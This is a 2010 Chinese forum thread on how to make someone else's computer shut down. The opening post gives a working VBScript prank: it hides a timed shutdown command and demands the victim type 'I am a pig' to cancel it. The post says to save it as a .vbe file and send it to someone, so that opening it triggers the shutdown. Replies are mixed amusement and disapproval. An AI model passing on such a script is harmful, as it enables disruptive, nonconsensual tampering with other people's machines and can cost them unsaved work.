怎么让别人电脑关机

Q371467391 · 发表于 2010-5-30 00:12:04

试试我这种

代码如下：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"

把上面的文字复制到记事本内。另存为名字随便你起记住后面的一定要加 .vbe

使用文件传送给对方只要对方一打开一分钟就会关机。如上面说的要你说那三个字就不会关机了哈哈大家试试吧。

大也 · 发表于 2010-5-30 12:21:33

真的可以？那么厉害？

ssyyrr · 发表于 2010-6-3 19:03:31

:@00000000000

loveqin0421 · 发表于 2010-6-3 20:15:24

怎么我的改名字就无法保存的?

lizefeng515 · 发表于 2010-6-4 07:53:30

好坏的招人家很郁闷的

承诺来世 · 发表于 2010-6-4 15:46:53

不做这些事

我要我要你的哎 · 发表于 2010-6-4 23:31:47

:victory:这个还真玩过

chenlonghy · 发表于 2010-6-6 07:45:51

用不了啊不知道怎么回事

帅的被人砍 · 发表于 2010-6-7 15:18:27

这个只要启动任务管理器就行了

怜冰 · 发表于 2010-6-8 07:47:07

自己试了试差点系统崩溃咋了？

去美国避雨 · 发表于 2010-6-10 20:44:48

有点坏.........

福清风儿 · 发表于 2010-6-13 21:00:43

这样不太好吧

s66251156 · 发表于 2010-6-13 21:06:23

4月1号耍耍就知道了

heauen · 发表于 2010-6-13 21:53:47

这个代码见过好多次了的说

aica · 发表于 2010-6-18 10:44:40

除非不知道是你发的还可以

账号		自动登录	找回密码
密码			注册[Register]

[分享] 怎么让别人电脑关机

相关帖子

浏览过的版块